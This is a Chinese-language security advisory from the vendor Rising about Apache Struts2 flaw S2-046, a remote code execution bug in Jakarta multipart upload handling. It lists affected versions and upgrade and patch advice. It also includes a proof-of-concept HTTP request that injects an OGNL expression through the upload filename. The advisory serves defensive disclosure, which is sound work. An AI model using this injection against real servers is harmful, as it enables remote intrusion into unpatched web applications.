瑞星预警:Struts2再曝高危漏洞S2-046
2017-03-21
近日,安全研究人员发现著名J2EE框架--Struts2存在远程代码执行的漏洞,Struts2官方已经确认该漏洞(S2-046),CVE编号为:CVE-2017-5638,风险等级为高危漏洞。
概述
近日,安全研究人员发现著名J2EE框架--Struts2存在远程代码执行的漏洞,Struts2官方已经确认该漏洞(S2-046),CVE编号为:CVE-2017-5638,风险等级为高危漏洞。
在此之前,瑞星已经发布Apache Struts 2存在高危远程命令执行漏洞,漏洞编号为S2-045,CVE编号CVE-2017-5638。
相关阅读☞瑞星发布紧急安全警报:Struts 2再爆高危远程漏洞
如果您的企业已经按照S2-045漏洞的修复方法升级到2.3.32或者2.5.10.1版本,本次将不受影响。
※Struts是Apache基金会Jakarta项目组的一个开源项目,它采用MVC 模式,帮助java开发者利用J2EE开发 Web 应用。目前,Struts广泛应用于大型互联网企业、政府、金融机构等网站建设,并作为网站开发的底层模板使用。
漏洞详情
漏洞编号:S2-046
CVE编号:CVE-2017-5638
漏洞类型:远程代码执行
漏洞级别:高危
漏洞风险:黑客通过利用漏洞可以实现远程命令执行。
影响版本:struts2.3.5- struts2.3.31 , struts2.5-struts2.5.10。
漏洞描述:使用Jakarta插件处理文件上传时可能导致远程代码执行漏洞
触发条件: 当攻击者通过Content-Length或者Content-Disposition构造恶意的OGNL内容时可能会造成远程代码执行。
POC代码
POST /doUpload.action HTTP/1.1
Host: localhost:8080
Content-Length: 10000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Connection: close
------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain
Kaboom
------WebKitFormBoundaryAnmUgTEhFhOZpr9z--
修复建议
使用Jakarta文件Multipart用户。
升级至安全版本 Struts 2.3.32 或者 Struts 2.5.10.1
更换同类型解析器,过滤Content-Disposition,Content-Type恶意代码
添加waf规则进行拦截恶意攻击
补丁地址
Struts 2.3.32:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32
Struts 2.5.10.1:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1
参考文档
https://cwiki.apache.org/confluence/display/WW/S2-046?from=timeline&isappinstalled=0
https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#
[责任编辑:瑞瑞]